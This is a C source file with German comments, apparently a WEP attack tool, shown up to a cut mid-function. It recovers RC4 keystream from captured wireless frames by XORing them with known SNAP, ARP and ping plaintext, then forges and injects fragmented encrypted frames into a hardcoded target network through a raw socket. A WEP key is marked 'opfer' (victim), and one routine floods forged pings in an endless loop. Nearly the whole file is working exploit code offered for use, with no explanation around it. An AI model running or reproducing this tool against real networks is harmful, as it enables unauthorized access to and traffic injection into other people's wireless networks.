#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include "rc4.h"
#define SEND_BIT 28 //0x24(verschluesselt) <> 0x1c(unverschluesselt)
#define crypt1
#define DEBUG
#define KEY_LAENGE 64 //Bit
#define MAX_PACKETSIZE 1500
#define TMAC0 0x00
#define TMAC1 0x0f
#define TMAC2 0xb5
#define TMAC3 0x3f
#define TMAC4 0x13
#define TMAC5 0x14
#if 0
#define TMAC0 0x00
#define TMAC1 0x11
#define TMAC2 0x88
#define TMAC3 0x28
#define TMAC4 0x73
#define TMAC5 0x30
#endif
#if 0
#define MAC0 0x00
#define MAC1 0x13
#define MAC2 0x02
#define MAC3 0x2a
#define MAC4 0x80
#define MAC5 0x8d
#endif
//0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
#define MAC0 0x00
#define MAC1 0x0f
#define MAC2 0xb5
#define MAC3 0x97
#define MAC4 0x37
#define MAC5 0x37
typedef struct {
int iv;
unsigned char keyindex;
unsigned char keystream[2400];
} key;
int rawsock;
extern int crc32_bitoriented(unsigned char *buffer, int length);
extern void swap_byte(unsigned char *a, unsigned char *b);
extern void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key);
extern void rc4(unsigned char*buffer_ptr, int buffer_len, rc4_key *key);
unsigned short chksum(unsigned char *data, int l);
void my_decrypt(unsigned char packet[], int n);
void filter(int min_len);
void decrypt_arp(unsigned char packet[], int n);
void decrypt_ping(unsigned char packet[], int n);
void short_ping(unsigned char *packet, unsigned char *kv, int len);
unsigned char nul[2400];
unsigned char arp[] = {
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x06,//LLC/SNAP
0x00, 0x01, //type ethernet
0x08, 0x00, //proto-type
0x06, 0x04, 0x00, 0x01, //hw, opcode
0x00, 0x0f, 0xb5, 0x97, 0x37, 0x37, //source-mac
0xc0, 0xa8, 0x8e, 0x02, //source IP NEEDS PATCH 0x16-0x19 XXX last byte= 64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //target-mac
0xc0, 0xa8, 0x8e, 0x01 //target-ip
};
unsigned char ping[]={
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //SNAP _7
0x45, 0x00, 0x01, 0x1c, // ipheader,flags, 2bit:laenge _11
0x00, 0x00, // Identification _13
0x40, //flags _14
0x00, //fragmen offset _15
0x40, // TTL _16
0x01, // Proto = ICMP _17
0x9c, 0x8c, // FIXME CHKSUM _19
0xc0, 0xa8, 0x8e, 0x02, //SRC IP _23
0xc0, 0xa8, 0x8e, 0x01, //DEST IP (TARGET) _27
0x08, //ICMP type echo request
0x00, //code _29
0x07, 0xd5, //icmp-chksum FIXME TODO XXX _31
0x08, 0x20, //identifier _33
0x00, 0x02, //sequenz _35
0x40, 0xe5, 0x18, 0x45, 0x2f, 0x37, 0x0a, 0x00, //statische daten
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff // _291
};
int ping_len = 292;
uint8_t arp_len = 36;
/* wandelt daten in hexzahlen um */
void
hexdump (unsigned char *data, int len, int nl)
{
int i;
for (i = 0; i < len; i++)
printf ("%02x%c", data[i], (i < len - 1) ? ':' : 0);
if (nl)
printf ("\n");
}
/* header ausgeben */
void
print_header (unsigned char packet[], int n)
{
printf ("\nType:\t%x", (unsigned char) packet[0]);
printf ("\nFlags:\t%x", (unsigned char) packet[1]);
printf ("\nDauer:\t%u", (unsigned short) packet[2]);
printf ("\nZiel-Mac:\t");
hexdump ((unsigned char *) packet + 0x04, 6, 0);
printf ("\nBSS-Mac:\t");
hexdump ((unsigned char *) packet + 0x0a, 6, 0);
printf ("\nQuell-Mac:\t");
hexdump ((unsigned char *) packet + 0x10, 6, 0);
printf ("\nSequenzNR:\t%u", (unsigned short) packet[0x16]);
printf ("\n##IV##:\t%x %x %x", (unsigned char) packet[0x18],
(unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
printf ("\nKey-Index:\t%u\n", (unsigned char) packet[0x1b]);
hexdump ((unsigned char *) packet + 0x1c, n - 3 - 0x1c, 1);
printf ("WEP-ICV:\t");
hexdump ((unsigned char *) packet + n - 3, 4, 1);
return;
}
unsigned char * get_bss(char packet[], int n)
{
return (unsigned char*)packet + + 10;
}
/*
uint32_t modpot(uint32_t a, uint8_t e, uint8_t m)
{
uint32_t z, i;
z = 1;
for (i = ;
}*/
void send_arp(unsigned char packet[], uint8_t iv[], uint8_t kv[], uint8_t key_idx)
{
unsigned char arp_enc[] = {
0x08, //Data
//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
0x00,
0x00, 0x00, //duration-field
TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest (broadcast)
0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
0xff, //key_idx NEEDS PATCH 0x1b
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload NEEDS PATCH 0x1c-0x23
0xff, 0xff, 0xff, 0xff //package-checksum NEEDS PATCH 0x24-0x27
};
//uint8_t arp_enc_len = 0x28;
uint32_t ivc, packsum;
int i, nr;
unsigned int sequenz;
sequenz = (packet[17]);
sequenz = (sequenz<<4)+(packet[16]&0xf);
sequenz += 42;
ivc = 0;
//fuer alle fragmente:
printf("\n");
for(nr=0;nr < (int)arp_len/4; nr++)
{
#ifdef crypt1
arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x41+0x08:0x45+0x08;
#else
arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x09:0xd;
// printf("runde: %d\tschalter: %x\n", nr, arp_enc[0x01]);
#endif
//arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x01+0x08:0x05+0x08;
//build sequence-field
/* fragment 4 bit - squenz 12 bit */
//sequenz++;
//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
arp_enc[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
arp_enc[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
//printf("sequenz=%u\n",sequenz);
#ifdef crypt1
//set IV
arp_enc[0x18] = packet[0x18];
arp_enc[0x19] = packet[0x19];
arp_enc[0x1a] = packet[0x1a];
//set keyidx
arp_enc[0x1b] = key_idx;
#endif
#ifdef crypt1
//packet fuellen - verschluesselt
arp_enc[0x1c] = arp[0+(nr*4)];
arp_enc[0x1d] = arp[1+(nr*4)];
arp_enc[0x1e] = arp[2+(nr*4)];
arp_enc[0x1f] = arp[3+(nr*4)];
#else
//packet fuellen - unverschluesselt
// printf("packet unverschluesselt fuellen\n");
arp_enc[0x18] = arp[0+(nr*4)];
arp_enc[0x19] = arp[1+(nr*4)];
arp_enc[0x1a] = arp[2+(nr*4)];
arp_enc[0x1b] = arp[3+(nr*4)];
#endif
#if 0
arp_enc[0x18] = arp[0+(nr*4)];
arp_enc[0x19] = arp[1+(nr*4)];
arp_enc[0x1a] = arp[2+(nr*4)];
arp_enc[0x1b] = arp[3+(nr*4)];
#endif
#ifdef crypt1
//build icv-checksum over packet
ivc = crc32_bitoriented((arp+(nr*4)), 4);
// printf("crc : %X %X %X %X ist %8X\n", arp[0+(4*nr)], arp[1+(4*nr)], arp[2+(4*nr)], arp[3+(4*nr)], ivc);
//build packet
arp_enc[0x20] = *(((uint8_t *)&ivc)+0);
arp_enc[0x21] = *(((uint8_t *)&ivc)+1);
arp_enc[0x22] = *(((uint8_t *)&ivc)+2);
arp_enc[0x23] = *(((uint8_t *)&ivc)+3);
#endif
#ifdef crypt1
printf("unverschluesselt:\t"); hexdump((unsigned char *) arp_enc + 0x1c,8,1);
//verschluesseln
for(i=0;i<8;i++)
{
arp_enc[0x1c + i] ^= kv[i];
}
#endif
#ifdef crypt1
printf(" verschluesselt:\t"); hexdump((unsigned char *)arp_enc + 0x1c,8,1);
#else
// printf("verschluesselter datenteil:\t"); hexdump((unsigned char *)arp_enc + 0x18,8,1);
#endif
//checksumme des packetes bilden
packsum = crc32_bitoriented(arp_enc,36);
#ifdef crypt1
arp_enc[0x24] = *(((uint8_t *)&packsum)+0);
arp_enc[0x25] = *(((uint8_t *)&packsum)+1);
arp_enc[0x26] = *(((uint8_t *)&packsum)+2);
arp_enc[0x27] = *(((uint8_t *)&packsum)+3);
#else
arp_enc[0x1c] = *(((uint8_t *)&packsum)+0);
arp_enc[0x1d] = *(((uint8_t *)&packsum)+1);
arp_enc[0x1e] = *(((uint8_t *)&packsum)+2);
arp_enc[0x1f] = *(((uint8_t *)&packsum)+3);
#endif
#ifdef crypt1
for(i=0;i<0x24;i++)printf("%x ",arp_enc[i]);
printf("\n");
while(write(rawsock, arp_enc,0x24)!=0x24) ;
#else
// for(i=0;i<SEND_BIT;i++)printf("%x ",arp_enc[i]);
// printf("\n");
while(write(rawsock, arp_enc,SEND_BIT)!=SEND_BIT) ;
#endif
// printf("%d. runde vollendet:", nr);getc(stdin);
}
filter(0);
}
/*debug*/
void filter(int min)
{
int n;
unsigned char packet[2400];
int packetsize = 2400;
printf("FILTER SUCHT PASSENDES PACKET\n\n");
while(1){
n = read (rawsock, packet, packetsize);
/* wenn das netz eine bestimmt mac hat: packet+0x0a*/
if (//(packet[0] == 0x08) &&
(n > min) &&
((TMAC0==(unsigned char)packet[10]) &&
(TMAC1==(unsigned char)packet[11]) &&
(TMAC2==(unsigned char)packet[12]) &&
(TMAC3==(unsigned char)packet[13]) &&
(TMAC4==(unsigned char)packet[14]) &&
(TMAC5==(unsigned char)packet[15]))
&&
(((MAC0==(unsigned char)packet[4]) &&
(MAC1==(unsigned char)packet[5]) &&
(MAC2==(unsigned char)packet[6]) &&
(MAC3==(unsigned char)packet[7]) &&
(MAC4==(unsigned char)packet[8]) &&
(MAC5==(unsigned char)packet[9]))
||
((MAC0==(unsigned char)packet[16]) &&
(MAC1==(unsigned char)packet[17]) &&
(MAC2==(unsigned char)packet[18]) &&
(MAC3==(unsigned char)packet[19]) &&
(MAC4==(unsigned char)packet[20]) &&
(MAC5==(unsigned char)packet[21])))
)
{
printf("!!GOT RESPONSE!!\n");
print_header (packet, n);
printf("Komplettes Paket:\n");
hexdump(packet,n,1);
printf("Entschluesseltes Paket\n");
hexdump(arp,36,1);
//getc(stdin);//getc(stdin);
#ifdef crypt1
if(n>550) { my_decrypt(packet,n); return;}
else if(n>200) decrypt_ping(packet, n);
else if(min==0) exit(1);
decrypt_arp(packet, n);
#endif
return;
}
}
}
void my_send(unsigned char src[], unsigned char data[], unsigned char kv[], int n, unsigned short fragmente){
if(n/MAX_PACKETSIZE > 16){printf("cannot send %i Byte in %u fragments\n", n, fragmente); return;}
if(fragmente > 16){printf("cannot send more than 16 fragments\n");}
unsigned char *packet = malloc(n*sizeof(unsigned char) + 0x1c + 40);
if(packet == NULL) {printf("malloc error\n"); exit(0);}
unsigned char header[]=
{
0x08, //Data
//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
0x00,
0x00, 0x00, //duration-field
TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
0xff, //key_idx NEEDS PATCH 0x1b
};
int nr;
int i, ivc, sequenz;
int fragment_size = n / fragmente;
for(i=0;i<0x1c;i++) packet[i]=header[i];
//for(i=0;i<(n-0x1c);i++) packet[i+0x1c]=data[i];
//hexdump(ping+27,264,1);
//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264));
sequenz = src[17];
sequenz = (sequenz<<4)+(src[16]&0xf);
sequenz++;
while(1){
for(nr=0;nr < fragmente; nr++)
{
packet[0x01] = (nr==(int)(fragmente-1))?0x41+0x08:0x45+0x08;
//build sequence-field
/* fragment 4 bit - squenz 12 bit */
//sequenz++;
//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
packet[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
packet[0x16] = (nr%16)|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
//set IV
packet[0x18] = src[0x18];
packet[0x19] = src[0x19];
packet[0x1a] = src[0x1a];
//set keyidx
packet[0x1b] = src[0x1b];
//packet fuellen
for(i=0;i<fragment_size;i++) packet[0x1c + i] = data[i+(nr*fragment_size)];
//build icv-checksum over packet
ivc = crc32_bitoriented(data+0x1c, fragment_size);
//build packet
packet[0x1c+fragment_size+0] = *(((uint8_t *)&ivc)+0);
packet[0x1c+fragment_size+1] = *(((uint8_t *)&ivc)+1);
packet[0x1c+fragment_size+2] = *(((uint8_t *)&ivc)+2);
packet[0x1c+fragment_size+3] = *(((uint8_t *)&ivc)+3);
//verschluesseln
for(i=0;i<fragment_size+4;i++) packet[0x1c+i]^=kv[i];
//ausgeben des packets
//printf("AUSGEBEN DES PACKETES\n");
//hexdump(packet,fragment_size+0x1c+4,1);
//senden des packets
while(write(rawsock, packet,fragment_size + 0x1c + 4 )!=fragment_size + 0x1c +4) ;
// printf("\nWURDE GESENDET\n");
}
filter(n/2);
}
}
void send_ping(unsigned char packet[], unsigned char kv[], int n)
{
unsigned char ping_header[]={
0x08, //Data
//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
0x00,
0x00, 0x00, //duration-field
TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
0xff, //key_idx NEEDS PATCH 0x1b
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload + icv
};
int nr;
int i, ivc, sequenz;
//hexdump(ping+27,264,1);
//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264));
sequenz = (packet[17]);
sequenz = (sequenz<<4)+(packet[16]&0xf);
for(nr=0;nr < (int)ping_len/36; nr++)
{
ping_header[0x01] = (nr==(int)(ping_len/36-1))?0x41+0x08:0x45+0x08;
//build sequence-field
/* fragment 4 bit - squenz 12 bit */
//sequenz++;
//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
ping_header[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
//set IV
ping_header[0x18] = packet[0x18];
ping_header[0x19] = packet[0x19];
ping_header[0x1a] = packet[0x1a];
//set keyidx
ping_header[0x1b] = packet[0x1b];
//packet fuellen
for(i=0;i<36;i++) ping_header[0x1c + i] = ping[i+(nr*36)];
//build icv-checksum over packet
ivc = crc32_bitoriented((ping+(nr*36)), 36);
//build packet
ping_header[0x40] = *(((uint8_t *)&ivc)+0);
ping_header[0x41] = *(((uint8_t *)&ivc)+1);
ping_header[0x42] = *(((uint8_t *)&ivc)+2);
ping_header[0x43] = *(((uint8_t *)&ivc)+3);
for(i=0;i<0x44;i++) ping_header[0x1c+i]^=kv[i];
//ausgeben des packets
// printf("AUSGEBEN DES PACKETES\n");
// for(i=0;i<0x44;i++)printf("%x ", ping_header[i]);
//senden des packets
while(write(rawsock, ping_header,0x44)!=0x44) ;
// printf("\nWURDE GESENDET\n");
}
filter(200);
}
unsigned short chksum(unsigned char *data, int l)
{
int i;
unsigned short sum = 0;
for(i=0;i<l;i+=2){
sum += (unsigned short)(((data[i]^0xff)<<8)+(data[i+1]^0xff));
}
// printf("%d\n",i);
return sum;
}
void decrypt_arp(unsigned char packet[], int n)
{
int i, packsum;
unsigned char kv[2400];
unsigned char nul[2400];
unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
rc4_key rc4_schluessel;
unsigned char ivc[4];
#ifdef crypt1
// if(packet[0]==0xb0)printf("authentication frame found\n");
//if(n!=86) {printf("kein arp-packet!!\n"); return;} //kein arp
#endif
printf ("\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
for(i=0;i<36;i++) { kv[i] = packet[0x1c+i]^arp[i];} //36 Byte Schluessel aus bekanntem ARP erraten
packsum = crc32_bitoriented(arp,36);
ivc[3] = *(((uint8_t *)&packsum)+3);
ivc[2] = *(((uint8_t *)&packsum)+2);
ivc[1] = *(((uint8_t *)&packsum)+1);
ivc[0] = *(((uint8_t *)&packsum)+0);
// printf("crc vom arp ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
#ifdef crypt1
/* i == 36 */
i = 36;
kv[i] = ivc[0]^packet[0x1c+i];i++;
kv[i] = ivc[1]^packet[0x1c+i];i++;
kv[i] = ivc[2]^packet[0x1c+i];i++;
kv[i] = ivc[3]^packet[0x1c+i];i++;
printf("berechneter Keystream:\n");
for(i=0;i<40;i++) printf("%x ",kv[i]);
printf("\nRC4-Keystream\n");
wep_key[0]=packet[0x18];
wep_key[1]=packet[0x19];
wep_key[2]=packet[0x1a];
prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
for(i=0;i<80;i++) nul[i]=0x00;
rc4(nul,40,&rc4_schluessel);
for(i=0;i<80;i++) printf("%x ",nul[i]);
for(i=0;i<40;i++) packet[28+i]^=kv[i]; // Vergleich mit erwarteten ARP-Packet
printf("\nEntschluesseltes Packet:\n");
for(i=0;i<68;i++) printf("%x ",packet[i]);
printf("\n");
i = 40;
/* ***************************************************** */
send_ping(packet, kv, i);
#endif
}
void decrypt_ping(unsigned char packet[], int n)
{
int i, packsum;
unsigned char kv[2400];
unsigned char nul[2400];
unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
rc4_key rc4_schluessel;
unsigned char ivc[4];
// printf ("\nPING DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
for(i=0;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i]^ping[i];} //n Byte Schluessel aus bekanntem ping erraten
packsum = crc32_bitoriented(ping,ping_len);
ivc[3] = *(((uint8_t *)&packsum)+3);
ivc[2] = *(((uint8_t *)&packsum)+2);
ivc[1] = *(((uint8_t *)&packsum)+1);
ivc[0] = *(((uint8_t *)&packsum)+0);
// printf("crc vom ping ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
/* i == 36 */
i = n - 4;
kv[i] = ivc[0]^packet[0x1c+i];i++;
kv[i] = ivc[1]^packet[0x1c+i];i++;
kv[i] = ivc[2]^packet[0x1c+i];i++;
kv[i] = ivc[3]^packet[0x1c+i];i++;
// printf("berechneter Keystream:\n");
//for(i=0;i<(n-0x1c);i++) printf("%x ",kv[i]);
hexdump(kv,n-0x1c,1);
// printf("\nRC4-Keystream\n");
wep_key[0]=packet[0x18];
wep_key[1]=packet[0x19];
wep_key[2]=packet[0x1a];
prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
rc4(nul,n-0x1c,&rc4_schluessel);
//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]);
hexdump(nul,n-0x1c,1);
for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; // Vergleich mit erwarteten ARP-Packet
// printf("\nEntschluesseltes Packet:\n");
//for(i=0;i<n;i++) printf("%x ",packet[i]);
// hexdump(packet,n,1);
// printf("\n");
// short_ping(packet,kv,n);
printf("Sende %d (verschluesselte) Bytes Nullen\n", 1000);
for(i=0;i<1100;i++) nul[i]=0;
my_send(packet, nul, kv,1000,16);
filter(600);
}
void my_decrypt(unsigned char packet[], int n)
{
int i;
unsigned char kv[2400];
unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
rc4_key rc4_schluessel;
// printf ("\nMY_DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
printf ("\nIV:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
kv[0]=packet[0x1c]^0xaa;
kv[1]=packet[0x1d]^0xaa;
kv[2]=packet[0x1e]^0x03;
kv[3]=packet[0x1f]^0x00;
kv[4]=packet[0x20]^0x00;
kv[5]=packet[0x21]^0x00;
kv[6]=packet[0x22]^0x03;
kv[7]=packet[0x23]^0xe0;
for(i=8;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i];} //n Byte Schluessel aus bekanntem ping erraten
printf("berechneter Keystream:\n");
hexdump(kv+0,n-0x23,1);
printf("\nRC4-Keystream\n");
wep_key[0]=packet[0x18];
wep_key[1]=packet[0x19];
wep_key[2]=packet[0x1a];
prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
rc4(nul,n-0x1c,&rc4_schluessel);
//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]);
hexdump(nul+0,n-0x23,1);
// for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; // Vergleich mit erwarteten Packet
// printf("\nEntschluesseltes Packet:\n");
//for(i=0;i<n;i++) printf("%x ",packet[i]);
// hexdump(packet,n,1);
// printf("\n");
// short_ping(packet,kv,n);
// printf("Sende %d (verschluesselte) Bytes Nullen\n", 16*( n - 0x1c + 4));
for(i=0;i<2400;i++) nul[i]=0;
return;
}
void short_ping(unsigned char *packet, unsigned char *kv, int len){
unsigned char ping_header[]={
0x08, //Data
//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
0x49,
0x00, 0x00, //duration-field
TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //dest
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
0xff, //key_idx NEEDS PATCH 0x1b
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //payload
0x45, 0x00, 0x00, 0x54, 0x00, 0x00, 0x40, 0x00, //payload
0x40, 0x01, 0x9d, 0x54, 0xc0, 0xa8, 0x8e, 0x02, //payload
0xc0, 0xa8, 0x8e, 0x01, 0x08, 0x00, 0x97, 0x51, //payload
0x3e, 0x3f, 0x00, 0x01, 0xb4, 0x29, 0x19, 0x45, //payload + icv
0x82, 0xfc, 0x05, 0x00, 0x08, 0x09, 0x0a, 0x0b, //payload + icv
0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, //payload + icv
0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, //payload + icv
0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, //payload + icv
0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, //payload + icv
0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, //payload + icv
0x34, 0x35, 0x36, 0x37, 0x00, 0x00, 0x00, 0x00
};
int sequenz, i, ivc;
sequenz = (packet[17]);
sequenz = (sequenz<<4)+(packet[16]&0xf);
//build sequence-field
/* fragment 4 bit - squenz 12 bit */
//sequenz++;
//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
ping_header[0x16] = (0)|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
//set IV
ping_header[0x18] = packet[0x18];
ping_header[0x19] = packet[0x19];
ping_header[0x1a] = packet[0x1a];
//set keyidx
ping_header[0x1b] = packet[0x1b];
//build icv-checksum over packet
ivc = crc32_bitoriented((ping_header+(0x1c)), 92);
// printf("crc: %x\n", ivc);
//build packet
ping_header[92 + 0x1c] = *(((uint8_t *)&ivc)+0);
ping_header[93 + 0x1c] = *(((uint8_t *)&ivc)+1);
ping_header[94 + 0x1c] = *(((uint8_t *)&ivc)+2);
ping_header[95 + 0x1c] = *(((uint8_t *)&ivc)+3);
// printf("ping unverschluesselt\n");
hexdump(ping_header, 96 + 0x1c, 1);
for(i=0;i<96;i++) ping_header[0x1c+i]^=kv[i];
// printf("ping verschluesselt\n");
hexdump(ping_header, 96 + 0x1c, 1);
while(1){
write(rawsock, ping_header,96+ 0x1c);
// printf(".");
}
}
void
have_fun(unsigned char packet[], int n)
{
unsigned char iv[3], key_idx, kv[8];
char ask;
int i = 0;
rc4_key rc4_schluessel;
unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
// unsigned char wep_key[]={0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef};
//check if type is data
if ((unsigned char) packet[0] != 0x08) return;
// printf("data-package received\n");
//check if packet is encrypted
//if (! (((unsigned char) packet[1]) & 0x40)) return;
#ifdef crypt1
// printf("IV: %X%X%X (KeyIdx: %x)\n", packet[24], packet[25], packet[26], packet[27]);
iv[0] = packet[24];
iv[1] = packet[25];
iv[2] = packet[26];
key_idx = packet[27];
wep_key[0]= iv[0];
wep_key[1]= iv[1];
wep_key[2]= iv[2];
// printf("#DEBUG:\tWEP_KEY =\t");
for(i=0;i<8;i++) printf("%x ", wep_key[i]);
#endif
//building first 7 byte of keystream by cypherstream XOR SNAP
//standard-SNAP: AA AA 03 00 00 00 08
kv[0] = packet[28] ^ 0xaa;
kv[1] = packet[29] ^ 0xaa;
kv[2] = packet[30] ^ 0x03;
kv[3] = packet[31] ^ 0x00;
kv[4] = packet[32] ^ 0x00;
kv[5] = packet[33] ^ 0x00;
kv[6] = packet[34] ^ 0x00;
//guess if it is ARP or IPv4 for 8th byte of key
if (n == 86) { //ARP
// printf("Packet is propably ARP\n");
kv[7] = packet[35] ^ 0x06;
} else {//IPv4 or else
